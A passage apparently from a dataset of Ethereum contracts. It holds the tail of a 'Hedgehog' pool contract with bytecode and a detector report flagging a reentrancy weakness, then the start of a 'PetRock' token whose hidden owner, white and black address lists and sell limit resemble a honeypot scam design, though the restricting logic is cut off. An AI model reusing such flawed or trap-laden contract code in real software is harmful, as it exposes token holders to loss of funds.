TransferHelper.safeTransfer(asset, msg.sender, asset_withdraw);
Withdraw(msg.sender, asset_withdraw, token_amount);
}
function calculateAssetIn(uint256 token_amount) public view returns (uint256) {
uint256 asset_balance = IERC20(asset).balanceOf(address(this));
uint256 token_balance_new = totalSupply.add(token_amount);
uint256 asset_balance_new = token_balance_new.mul(token_balance_new);
return asset_balance_new.sub(asset_balance);
}
function calculateAssetOut(uint256 token_amount) public view returns (uint256) {
uint256 asset_balance = IERC20(asset).balanceOf(address(this));
uint256 token_balance_new = totalSupply.sub(token_amount);
uint256 asset_balance_new = token_balance_new.mul(token_balance_new);
return asset_balance.sub(asset_balance_new);
}
function _oracle() internal {
if (timestamp < block.timestamp && totalSupply > 0){
timestamp = block.timestamp;
oracle_prev = oracle;
oracle = price();
Oracle(timestamp, oracle, oracle_prev);
}
}
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
}
contract HedgehogFactory {
mapping(address => address) public hedgehog;
address[] public allHedgehogs;
function allHedgehogsLength() external view returns (uint) {
return allHedgehogs.length;
}
function createHedgehog(address asset) public returns (address) {
require(asset != address(0), "HedgehogFactory: zero asset");
require(hedgehog[asset] == address(0), "HedgehogFactory: existing hedgehog");
Hedgehog _hedgehog = new Hedgehog();
hedgehog[asset] = address(_hedgehog);
allHedgehogs.push(address(_hedgehog));
_hedgehog.initialize(asset);
return address(_hedgehog);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806315e473c714610051578063945c7afe146100d5578063d604c6b4146100f3578063e22875c914610177575b600080fd5b6100936004803603602081101561006757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100dd610218565b6040518082815260200191505060405180910390f35b6101356004803603602081101561010957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610225565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b8101908080359060200190929190505050610559565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600180549050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156102c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4865646765686f67466163746f72793a207a65726f206173736574000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128786022913960400191505060405180910390fd5b60006040516103ba90610595565b604051809103906000f0801580156103d6573d6000803e3d6000fd5b509050806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c4d66de8846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561053857600080fd5b505af115801561054c573d6000803e3d6000fd5b5050505080915050919050565b6001818154811061056657fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6122d5806105a38339019056fe60806040526001600a5534801561001557600080fd5b506122b0806100256000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461053f578063b80777ea146105a5578063c4d66de8146105c3578063dd62ed3e14610607578063e2bbb1581461067f5761012c565b806370a08231146103e65780637dc0d1d01461043e57806395d89b411461045c5780639c3e16cb146104df578063a035b1fe146105215761012c565b806323b872dd116100f457806323b872dd14610278578063313ce567146102fe57806338d52e0f14610322578063441a3e701461036c5780634ab49c1e146103a45761012c565b806306fdde0314610131578063095ea7b3146101b457806313d61c8a1461021a578063158ef93e1461023857806318160ddd1461025a575b600080fd5b6101396106b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610755565b604051808215151515815260200191505060405180910390f35b61022261076c565b6040518082815260200191505060405180910390f35b610240610772565b604051808215151515815260200191505060405180910390f35b610262610785565b6040518082815260200191505060405180910390f35b6102e46004803603606081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078b565b604051808215151515815260200191505060405180910390f35b610306610956565b604051808260ff1660ff16815260200191505060405180910390f35b61032a610969565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a26004803603604081101561038257600080fd5b81019080803590602001909291908035906020019092919050505061098f565b005b6103d0600480360360208110156103ba57600080fd5b8101908080359060200190929190505050610b70565b6040518082815260200191505060405180910390f35b610428600480360360208110156103fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b610446610cb4565b6040518082815260200191505060405180910390f35b610464610cba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a4578082015181840152602081019050610489565b50505050905090810190601f1680156104d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61050b600480360360208110156104f557600080fd5b8101908080359060200190929190505050610d58565b6040518082815260200191505060405180910390f35b610529610e84565b6040518082815260200191505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9c565b604051808215151515815260200191505060405180910390f35b6105ad610eb3565b6040518082815260200191505060405180910390f35b610605600480360360208110156105d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b005b6106696004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611316565b6040518082815260200191505060405180910390f35b6106b56004803603604081101561069557600080fd5b81019080803590602001909291908035906020019092919050505061133b565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b505050505081565b600061076233848461151d565b6001905092915050565b60095481565b600660009054906101000a900460ff1681565b60035481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610940576108bf82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61094b84848461168b565b600190509392505050565b600260009054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001600a5414610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4865646765686f673a204c4f434b45440000000000000000000000000000000081525060200191505060405180910390fd5b6000600a819055506000610a1a83610b70565b905060008111610a75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121c96026913960400191505060405180910390fd5b81811015610ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061224b6030913960400191505060405180910390fd5b610ad661181f565b610ae033846118a5565b610b0d600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633836119bf565b3373ffffffffffffffffffffffffffffffffffffffff167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5688285604051808381526020018281526020019250505060405180910390a2506001600a819055505050565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c1257600080fd5b505afa158015610c26573d6000803e3d6000fd5b505050506040513d6020811015610c3c57600080fd5b810190808051906020019092919050505090506000610c668460035461160890919063ffffffff16565b90506000610c7d8283611b9b90919063ffffffff16565b9050610c92818461160890919063ffffffff16565b9350505050919050565b60046020528060005260406000206000915090505481565b60085481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d505780601f10610d2557610100808354040283529160200191610d50565b820191906000526020600020905b815481529060010190602001808311610d3357829003601f168201915b505050505081565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610dfa57600080fd5b505afa158015610e0e573d6000803e3d6000fd5b505050506040513d6020811015610e2457600080fd5b810190808051906020019092919050505090506000610e4e84600354611c3090919063ffffffff16565b90506000610e658283611b9b90919063ffffffff16565b9050610e7a838261160890919063ffffffff16565b9350505050919050565b600080610e93620186a0610d58565b90508091505090565b6000610ea933848461168b565b6001905092915050565b60075481565b60001515600660009054906101000a900460ff16151514610f25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061214c6028913960400191505060405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006101000a81548160ff0219169083151502179055506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561102957600080fd5b810190808051604051939291908464010000000082111561104957600080fd5b8382019150602082018581111561105f57600080fd5b825186600182028301116401000000008211171561107c57600080fd5b8083526020830192505050908051906020019080838360005b838110156110b0578082015181840152602081019050611095565b50505050905090810190601f1680156110dd5780820380516001836020036101000a031916815260200191505b5060405250505090506111256040518060400160405280600981526020017f4865646765686f6720000000000000000000000000000000000000000000000081525082611cb3565b6000908051906020019061113a9291906120a6565b506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156111a557600080fd5b505afa1580156111b9573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156111e357600080fd5b810190808051604051939291908464010000000082111561120357600080fd5b8382019150602082018581111561121957600080fd5b825186600182028301116401000000008211171561123657600080fd5b8083526020830192505050908051906020019080838360005b8381101561126a57808201518184015260208101905061124f565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5060405250505090506112df6040518060400160405280600181526020017f680000000000000000000000000000000000000000000000000000000000000081525082611cb3565b600190805190602001906112f49291906120a6565b506005600260006101000a81548160ff021916908360ff160217905550505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6001600a54146113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4865646765686f673a204c4f434b45440000000000000000000000000000000081525060200191505060405180910390fd5b6000600a8190555060006113c683610d58565b905060008111611421576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806121a56024913960400191505060405180910390fd5b8181111561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806121ef602f913960400191505060405180910390fd5b61148261181f565b6114b0600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333084611d7b565b6114ba3384611f8c565b3373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a158285604051808381526020018281526020019250505060405180910390a2506001600a819055505050565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000828284039150811115611685576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b6116dd81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b4260075410801561183257506000600354115b156118a3574260078190555060085460098190555061184f610e84565b6008819055507fb7fefb7d1b22b74b6807108ec49955e84e0a0bdcddeb841574fb1b1094cc66c460075460085460095460405180848152602001838152602001828152602001935050505060405180910390a15b565b6118f781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194f8160035461160890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611a985780518252602082019150602081019050602083039250611a75565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611afa576040519150601f19603f3d011682016040523d82523d6000602084013e611aff565b606091505b5091509150818015611b3f5750600081511480611b3e5750808060200190516020811015611b2c57600080fd5b81019080805190602001909291905050505b5b611b94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061221e602d913960400191505060405180910390fd5b5050505050565b600080821480611bb85750828283850292508281611bb557fe5b04145b611c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284019150811015611cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b606082826040516020018083805190602001908083835b60208310611ced5780518252602082019150602081019050602083039250611cca565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611d3e5780518252602082019150602081019050602083039250611d1b565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611e885780518252602082019150602081019050602083039250611e65565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611eea576040519150601f19603f3d011682016040523d82523d6000602084013e611eef565b606091505b5091509150818015611f2f5750600081511480611f2e5750808060200190516020811015611f1c57600080fd5b81019080805190602001909291905050505b5b611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806121746031913960400191505060405180910390fd5b505050505050565b611fa181600354611c3090919063ffffffff16565b600381905550611ff981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120e757805160ff1916838001178555612115565b82800160010185558215612115579182015b828111156121145782518255916020019190600101906120f9565b5b5090506121229190612126565b5090565b61214891905b8082111561214457600081600090555060010161212c565b5090565b9056fe4865646765686f675f696e697469616c697a653a20616c726561647920696e697469616c697a65645472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c65644865646765686f675f4465706f7369743a207a65726f206173736574206465706f7369744865646765686f675f77697468647261773a207a65726f2061737365742077697468647261774865646765686f675f4465706f7369743a206465706f736974206173736574732061626f76652065787065637465645472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c65644865646765686f675f4465706f7369743a207769746864726177206173736574732062656c6f77206578706563746564a2646970667358221220156db20ce868690d37a25735ae8b98d1d5756c9efb6f33c98617696b0196109164736f6c634300060b00334865646765686f67466163746f72793a206578697374696e67206865646765686f67a264697066735822122018417cca1ed3f558957da0156ac3a722cdb1e4ec6197380963a00731259a0f2a64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,480 |
0xd91203ab5bb40ab4389126e757bf80c40aa9e455
|
/*
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ▄▓▓▓▄ ▄▓▓▓▄ //
// ▄▓▓▓▓▓▓▓▓▓▄▓▓▓▓▓▓▓▓▓▄ //
// ▓▀ ▀▓▓▓▓▓▓▓▀ ▀▓▓▓▓▓▓▓ //
// ▀▓▒▓▓▓▓▓▓▓▀▓▒▓▓▓▓▓▓▓▀ //
// ▓▓▓▓▓ ▀▓▓▓▀ //
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ▀▓░▒▒▓▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▓ ▓▄▓▓▓▓▀ ▓░▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▀ ▓░▓▓▓▓▓▓▓▓▓▓▓░▄▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▀ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓░░░▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓░▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓▓▓▀ ▄▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▀ ▓▀▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓░▄▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▀▀▀▀▀▀▀▀▀░░░▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▄ ▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓▓▓▓▄ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓ //
// ▄▓▓▓▓▓▓▓▓▓▀ //
// ▓▓▓▓▓▓▓▀ //
// ▀▀▀▀ //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PetRock is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18));
_mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
